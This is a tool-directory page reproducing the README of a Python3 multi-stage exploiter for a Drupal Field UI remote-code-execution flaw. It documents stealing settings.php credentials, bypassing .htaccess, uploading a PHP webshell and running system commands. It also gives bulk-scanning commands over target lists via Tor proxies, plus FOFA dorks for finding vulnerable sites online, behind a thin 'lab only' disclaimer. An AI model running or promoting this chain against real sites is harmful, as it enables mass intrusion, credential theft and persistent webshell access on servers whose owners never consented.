Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-108097 — Python3 multi-stage exploiter for CVE-2026-108097 (Drupal Field UI #region_callback RCE): fingerprint, sink probe, callable leak, settings.php exfiltration, and webshell RCE. | Kitploit
Tools/GitHubGitHub/exdev994/cve-2026-108097
ReconnaissanceWeb Vulnerability ScannersPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationData ExfiltrationInformation GatheringWeb SecurityPenetration TestingRemote Access Trojan
21 month agoNot yet reviewed
Share
GitHubexdev994/cve-2026-108097

CVE-2026-108097

Python3 multi-stage exploiter for CVE-2026-108097 (Drupal Field UI #region_callback RCE): fingerprint, sink probe, callable leak, settings.php exfiltration, and webshell RCE.

View Repository

CVE-2026-108097 Full-Chain Exploiter (Python3)

A Python3 tool that implements the logic of CVE-2026-108097 (Drupal core Field UI #region_callback RCE, SA-CORE-2026-014) as a multi-stage pipeline:

detect → writer find → sink probe → callable leak → file disclosure → RCE

Targets are read from the file .txt (one URL per line). Output:

  • output/rce.txt — a single file containing only targets that reach the RCE confirmed stage, complete with evidence (shell URL, command, output). Targets that only detect/sink/exfil do not write any file.

There is no per-target JSON, _settings.php artifact, or multi-level vulnerable.txt. Only rce.txt is written, and only if there is a confirmed RCE.

Lab / Research Use Only

Run this tool only in environments you are permitted to use: your own Drupal lab, a CTF, or a pentest with written authorization. CVE-2026-108097 has a sink in every Drupal install <= 11.4.9, but a real exploit requires a contrib/custom module that exposes field_ui_table with a #region_callback row that can be influenced by an HTTP actor. The official advisory does not name a specific module — the file payloads/writers.json is seeded with generic/placeholder patterns; tune it to your lab setup.

Vulnerability logic

Sink (FieldUiTable.php:72, <= 11.4.9):

$region_name = call_user_func_array($row['#region_callback'], [&$row]);

Render array #region_callback diperlakukan sebagai PHP callable tanpa validasi. Patch 11.4.10 menghapus baris ini.

Chain (mengikuti deep dive Fortbridge):

  1. Writer (contrib/custom) expose field_ui_table dengan row #region_callback yang bisa dipengaruhi HTTP actor.
  2. Arbitrary callable (print_r) → leak row + nonce.
  3. System::cat copy settings.php ke public files dir → GET exfil (DB cred, hash_salt).
  4. Bypass dual .htaccess (subdirectory RewriteEngine On putus inheritance parent)
    • upload PHP webshell ke files dir → system() exec.

Install

pip3 install -r requirements.txt

Usage — Example Run

1. Full chain (default — detect up to RCE)

Create your own target file (one URL per line), then run:

python3 cve_2026_108097.py -i targets.txt --stage all --threads 5 --out output/

Or use a custom target file:

python3 cve_2026_108097.py -i my_targets.txt --stage all --threads 10 --out out/

2. Detection only (fast, non-intrusive — Drupal fingerprint + version + Field UI)

python3 cve_2026_108097.py -i targets.txt --stage detect --threads 20

3. Sink probe only (confirm #region_callback is reachable, without exploit)

python3 cve_2026_108097.py -i targets.txt --stage sink --threads 10

4. Kebocoran callable saja (tahap 1 — baris kebocoran print_r + nonce)

python3 cve_2026_108097.py -i targets.txt --stage leak

5. File disclosure only (stage 1 + 2 — exfil settings.php, without shell upload)

python3 cve_2026_108097.py -i targets.txt --stage exfil --threads 5

6. RCE with a custom command

python3 cve_2026_108097.py -i targets.txt --stage rce --cmd "whoami; id; uname -a; hostname"

7. RCE with a custom webshell name

python3 cve_2026_108097.py -i targets.txt --stage rce --shell-name x.php

8. Override writer endpoint (skip auto-find — if you already know the actual writer path)

python3 cve_2026_108097.py -i targets.txt --stage all --writer-path /admin/structure/display-modes/form/ajax

9. Via proxy (Burp Suite for traffic inspection)

python3 cve_2026_108097.py -i targets.txt --stage all --proxy http://127.0.0.1:8080 --no-verify

10. SOCKS5 proxy (Tor / SSH tunnel)

pip3 install "requests[socks]"
python3 cve_2026_108097.py -i targets.txt --stage all --proxy socks5h://127.0.0.1:9050

11. Short timeout + many threads (fast scan, many targets)

python3 cve_2026_108097.py -i big_list.txt --stage detect --threads 30 --timeout 5

12. Pipe from stdin-like (cat / curl → file → tool)

curl -s "https://example.com/targets-api" | tr ' ' '\n' > live_targets.txt
python3 cve_2026_108097.py -i live_targets.txt --stage all

13. Re-feed RCE results to other tools (rce.txt = one URL per block, parse with grep)

python3 cve_2026_108097.py -i targets.txt --stage all
grep -oE 'http[s]?://[^ ]+' output/rce.txt > rce_urls.txt
# rce_urls.txt siap dipakai tool lain

Flags

FlagDefaultDescription
-i / --inputtargets.txttarget file (one URL per line, # = comment)
--outoutputoutput dir (file rce.txt is written here)
--threads5number of worker threads
--timeout10HTTP timeout in seconds
--proxy-proxy http/https/socks5 (socks5 requires requests[socks])
--no-verifyoffskip TLS verify
--stagealldetect | sink | leak | exfil | rce | all — how far the pipeline runs
--writer-path-override writer endpoint (skip auto-find)
--shell-namerandomwebshell file name
--cmdidcommand for the RCE stage

Stage gating

  • detect — stop after Drupal fingerprint + version + Field UI.
  • sink — stop after confirming #region_callback is reachable.
  • leak — run stage 1 (callable leak via print_r).
  • exfil — run stage 1 + 2 (file disclosure settings.php).
  • rce / all — run the full chain through to RCE.

Output

output/rce.txt — written only if there is a target with RCE confirmed. Example contents:

# CVE-2026-108097 RCE confirmed — generated 2026-10-20T16:50:00Z
# total: 2

[1] http://drupal-lab.local
    shell : http://drupal-lab.local/sites/default/files/_cve_a1b2/_e5f6.php
    cmd   : id
    output: uid=33(www-data) gid=33(www-data) groups=33(www-data)
---
[2] http://target2.example.com
    shell : http://target2.example.com/sites/default/files/_cve_x9y8/_z7w6.php
    cmd   : id
    output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Jika tidak ada RCE yang terkonfirmasi, file rce.txt tidak ditulis. Stdout tetap mencetak tabel ringkasan (URL, Drupal, versi, FieldUI, Affected, Sink, Stage) untuk semua target.

FOFA Dorks

Dork FOFA untuk mempersempit pencarian target Drupal yang berpotensi terdampak CVE-2026-108097. Gabungkan dengan filter versi / module untuk hasil yang lebih akurat.

Fingerprint Drupal generik

body="name=\"Generator\" content=\"Drupal"
header="X-Generator: Drupal"
body="misc/drupal.js" || body="/core/misc/drupal.js"
body="Drupal.settings" || body="drupal.js"

Drupal major version (affected version filter)

Drupal 11.x (vulnerable before 11.4.10 / 11.3.19):

body="content=\"Drupal 11"
header="X-Generator: Drupal 11"

Drupal 10.x (vulnerable before 10.6.19):

body="content=\"Drupal 10"
header="X-Generator: Drupal 10"

Field UI module indicator (most specific to CVE)

body="field-ui-table" || body="field_ui_table"
body="/admin/reports/fields" && body="Drupal"
body="/admin/structure/display-modes" && body="Drupal"

CHANGELOG ter-expose (exact version leak — most accurate)

body="Drupal 11.4" && body="CHANGELOG.txt"
icon_hash="0" && body="/core/CHANGELOG.txt"
body="Drupal 11.4.9" || body="Drupal 11.4.8" || body="Drupal 11.4.7"
body="Drupal 10.6.18" || body="Drupal 10.6.17" || body="Drupal 10.6.16"

Drupal favicon hash (quick filter)

icon_hash="-2028424325"

(Drupal default favicon hash — check & update via FOFA icon search)

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    810
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    638
  • 4

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    453
  • 5

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    436
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    386

Explore all tools

Browse our collection of tools

View all tools →